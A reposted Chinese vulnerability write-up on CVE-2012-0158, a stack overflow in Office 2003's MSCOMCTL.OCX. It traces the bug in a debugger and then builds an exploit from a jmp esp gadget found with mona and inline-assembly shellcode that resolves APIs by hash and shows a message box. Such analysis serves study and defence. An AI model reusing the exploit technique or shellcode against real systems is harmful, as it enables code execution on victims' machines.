ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Office 2003 sp3(CVE-2012-0158)漏洞分析报告

2019-09-07 11:05:25  阅读:382  来源: 互联网

标签:Office sp3 mov 2003 ebp esi edx emit asm


文章目录

Office 2003 sp3(CVE-2012-0158)漏洞分析报告

软件名称 Office 2003 sp3 操作系统 Windows XP/2003/7/8.1/10
软件版本 11.0.8322 漏洞编号 CVE-2012-0158
漏洞模块 MSCOMCTL.OCX 危害等级 超危
模块版本 6.01.9545 漏洞类型 缓冲区溢出
编译日期 2012-01-01 威胁类型 本地

1.漏洞背景

Microsoft Office 2003 sp3是2007年9月18日由微软公司创作的一个办公软件。精简版包含 Word、Excel、PowerPoint、Access、OutLook 五大组件常用功能。Microsoft Office 2003 sp3软件的MSCOMCTL.ocx 模块中275C876D 的函数在读取Word文档数据时,由于读取的长度和验证的长度都在文件中,所以攻击者可以自由构造缓冲区大小,进而触发栈溢出漏洞。

2.漏洞成因

2.1 触发漏洞

使用Office 2003 sp3 Word软件打开PoC样本文件,触发漏洞
在这里插入图片描述

2.2 定位漏洞模块

使用OllyDbg附加调试WINWORD.EXE程序,(设置OD,将忽略异常都恢复)打开poc文件,触发漏洞,效果如下图:
在这里插入图片描述
分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,可以发现有两个模块地址,一个是MSCOMCTL 模块中的地址275C8A0A,另一个是msvcp60模块的地址6A626F43, 这两个地址离得很近,不确定是哪个模块触发得漏洞,在两个模块都下断点,重新执行POC文件。
在这里插入图片描述
单步F8运行,可以确定是MSCOMCTL 模块中函数MSCOMCTL.275C876D触发了漏洞。
在这里插入图片描述

2.3 定位漏洞函数

已经确定是MSCOMCTL.275C876D触发了漏洞,使用 IDA 定位到 MSCOMCTL.ocx模块 中的 275C876D 函数
在这里插入图片描述
动态调试分析sub_275C876D函数得参数,参数3要读取的长度是0x8282。
在这里插入图片描述
单步F7进入sub_275C876D,找到造成溢出的代码。
在这里插入图片描述
使用IDA详细分析该段代码,qmemcpy内存拷贝函数触发溢出漏洞。
在这里插入图片描述

2.4 分析漏洞成因

获取 shellcode 长度之后,在文件中搜索定位长度,发现有两个长度,猜测一个是 dwBytes,一个是 v7。
在这里插入图片描述
验证猜测,修改一个字节,再次动态调试,可以确定文件中第一个长度是参数的长度,第二个长度是读取的长度,两个长度都在文件中,所以可以随心所欲的溢出了。
在这里插入图片描述
OD动态调试,可以发现83所在的位置是参数,84所在的位置是局部变量的值。
在这里插入图片描述

2.5 总结

经过调试和分析之后,CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,要读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

3.利用过程

3.1 分析和设计利用漏洞的ShellCode的结构

在这里插入图片描述

3.2 寻找跳板指令jmp esp

使用 ImmunityDebugger+mona.py

!mona modules

找到 Rebase ,SafeSEH, ASLR,NXCompat 为 False ,而 OS DLL 为 True 的系统模块。
在这里插入图片描述

!mona find -s "\xff\xe4" -m msvbvm60.dll

在这里插入图片描述
获取 jmp esp 地址是 0x729A0535,该地址内存属性可读可写可执行。

3.3 编写ShellCode,注入ShellCode

#include "ShellCode.h"
//#include <stdio.h>
extern "C" int shellcode_start();

//定位代码位置
_declspec(naked) int shellcode_entry()
{
	_asm {
		jmp shellcode_start
	}
}

//**************************************************
//	获取Kernel32模块基址
//**************************************************
_declspec(naked) int GetKernel32Addr()
{
	_asm {
		push esi
		mov esi, dword ptr fs : [0x30]		//esi=PEB地址
		mov esi, [esi + 0x0C]				//esi=PEB_LDR_DATA结构体的地址
		mov esi, [esi + 0x1C]				//esi=模块链表指针InInitializationOrderModuleList
		mov esi, [esi]						//esi=访问链表的第二个条目
		mov eax, [esi + 0x08]				//ebx=Kernel32.dll模块基址
		pop esi
		ret
	}
}

//**************************************************
//	获取字符串的Hash值
//**************************************************
_declspec(naked) int GetStringHash(const char* szString)
{
	_asm {
		push ebp
		mov ebp, esp
		push edx
		push esi
		xor edx, edx
		xor eax, eax
		mov esi, [ebp + 8]			//获取参数,字符串
		GetStringLoop:
		lods byte ptr[esi]			//获取字符串一个字节
			test al, al			    //判断是否到达字符串末尾
			je GetStringExit
			rol edx, 0x3			//求HASH
			xor dl, al				//求HASH
			jmp GetStringLoop
			GetStringExit :
		xchg eax, edx
			pop esi
			pop edx
			mov esp, ebp
			pop ebp
			ret 4
	}
}

//**************************************************
//	比较API的Hash值
//**************************************************
_declspec(naked) int Hash_CmpString(const char* pFunName, int nHash)
{
	_asm {
		push ebp
		mov ebp, esp
		push edx
		push ebx
		mov eax, [ebp + 8]			//获取参数,字符串
		push eax
		call GetStringHash
		mov ebx, eax
		mov edx, [ebp + 0xC]			//参数2, hash
		xor eax, eax
		cmp ebx, edx					//比较字符串hash值
		jne Hash_CmpString_End		//不相等返回0
		mov eax, 0x1					//相等返回1
		Hash_CmpString_End:
			pop ebx
			pop edx
			mov esp, ebp
			pop ebp
			ret 8
	}
}



//**************************************************
//	根据HASH值 寻找指定模块的函数地址
//**************************************************
_declspec(naked) int GetFunAddrByHash(int nHash, int nImageBase)
{
	_asm {
		push ebp
		mov ebp, esp
		sub esp, 0xC				//申请局部空间
		push edx
		push ebx
		//1.获取ENT/EAT/EOT地址
		mov edx, [ebp + 0xC]		//edx=nImageBase
		mov esi, [edx + 0x3C]		//esi=pDosHeader->e_lfanew
		lea esi, [edx + esi]		//esi=PE头
		mov esi, [esi + 0x78]		//esi=IMAGE_EXPORT->VirtualAddress
		lea esi, [edx + esi]		//esi=导出表首地址
		//EAT
		mov edi, [esi + 0x1C]		//edi=pExport->AddressOfFunctions
		lea edi, [edx + edi]		//EAT首地址
		mov[ebp - 0x4], edi
		//ENT
		mov edi, [esi + 0x20]	//edi=pExport->AddressOfNames
		lea edi, [edx + edi]	//ENT首地址
		mov[ebp - 0x8], edi
		//EOT
		mov edi, [esi + 0x24]	//edi=pExport->AddressOfNameOrdinals
		lea edi, [edx + edi]	//EOT首地址
		mov[ebp - 0xC], edi
		//2.循环比对ENT中的函数名
		xor eax,eax
		xor ecx, ecx				//i=0
		jmp CmpIndex
		AddIndex :
		inc ecx
			CmpIndex :
		cmp ecx, [esi + 0x18]
			jge GetFunAddr_Exit
			mov ebx, [ebp - 0x8]	//获取ENT基址
			mov ebx, [ebx + ecx * 4]	//取ENT[i]RVA
			lea ebx, [ebx + edx]		//ebx=函数名首地址
			push[ebp + 0x8]			//参数2:hash值
			push ebx				//参数1:函数名
			call Hash_CmpString		//比较
			test eax, eax
			je AddIndex
			//3.成功找到对应序号
			mov ebx, [ebp - 0xC]		//获取EOT基址
			xor edi, edi
			mov di, [ebx + ecx * 2]		//EOT[i]-->地址表下标
			//4.在EAT中找到对应函数地址
			mov ebx, [ebp - 0x4]		//EAT
			mov edi, [ebx + edi * 4]	//EAT[edi]
			//5.返回函数地址
			lea eax, [edi + edx]		//函数地址
	GetFunAddr_Exit:
			pop ebx
			pop edx
			mov esp, ebp
			pop ebp
			ret 8
	}
}

//**************************************************
//	Shellcode入口点
//**************************************************
_declspec(naked) int shellcode_start()
{
	_asm {
		push ebp
		mov ebp, esp
		sub esp, 0x30		//申请局部空间
		push edx
		jmp tag_start
		// tag_code_pop-0x2A    len:12   "kernel32.dll"
		_asm _emit(0x6B) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E)
		_asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32)
		_asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C)
		_asm _emit(0x00)
		// tag_code_pop-0x1D    len:10   "user32.dll"
		_asm _emit(0x75) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
		_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
		_asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
		// tag_code_pop-0x12	len:12   "Hello World!"
		_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
		_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
		_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
		_asm _emit(0x00)
	tag_start:
		call tag_code_pop
	tag_code_pop :
		pop edx
		lea esi, [edx - 0x1D]		//获取user32字符串地址
		mov [ebp - 0x4], esi
		lea esi, [edx - 0x12]		//获取Hello World!字符串地址
		mov [ebp - 0x8], esi
		lea esi, [edx - 0x12]		//获取kernel32.dll字符串地址
		mov [ebp - 0x24], esi

		// 1. 获取 Kernel32 基地址
		call GetKernel32Addr
		mov[ebp - 0xC], eax							  //ebp-0x4:user32字符串地址
		// 2. 获取 GetProcAddress 地址				  //ebp-0x8:Hello World!字符串地址
		push eax									  //ebp-0xC:Kernel32基址
		push 0xF2509B84								  //ebp-0x10:GetProcAddress函数地址
		call GetFunAddrByHash						  //ebp-0x14:LoadLibraryExA函数地址
		mov[ebp - 0x10], eax						  //ebp-0x18:user32基址
		// 3. 获取 LoadLibraryExA 地址				  //ebp-0x1C:MessageBoxA函数地址
		push[ebp - 0xC]								  //ebp-0x20:
		push 0x04BF60E8								  //ebp-0x24:kernel32.dll字符串地址
		call GetFunAddrByHash						  
		mov [ebp - 0x14], eax
		// 4. 获取 user32 基地址
		push 0
		push 0
		push [ebp - 0x4]
		call eax
		mov [ebp - 0x18], eax
		// 5. 获取 MessageBoxA 地址
		push eax
		push 0x14D14C51
		call GetFunAddrByHash
		mov[ebp - 0x1C], eax
		// 6. 调用 MessageBoxA 地址
		xor edx, edx
		push edx					//	|-uType
		push edx					//	|-lpCaption
		push[ebp - 0x8]				//	|-lpText
		push edx					//	|-hWnd
		call eax
		// 7. 获取 ExitProcess 地址
		push[ebp - 0xC]
		push 0xE6FF2CB9
		call GetFunAddrByHash
		// 8. 调用 ExitProcess
		xor edx, edx
		push edx
		call eax
		//恢复寄存器环境
		pop edx
		mov esp, ebp
		retn
	}
}

int main()
{
	shellcode_entry();	
	return 0;
}

4.构造Exp

提取二进制代码构造Exploit,注入ShellCode之后的PoC文件:可以利用漏洞。
在这里插入图片描述
使用Office打开新构建的PoC文件,完成漏洞利用。
在这里插入图片描述

5.结语

引发漏洞的mscomctl.ocx模块是电脑系统中ActiveX插件的控制模块。mscomctl.ocx在系统中是不可缺少的,涉及的用户面很广泛,并且攻击人员可任意修改引发该漏洞的缓冲区大小,执行恶意代码,危害极高。

标签:Office,sp3,mov,2003,ebp,esi,edx,emit,asm
来源: https://blog.csdn.net/w_g3366/article/details/100592080

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有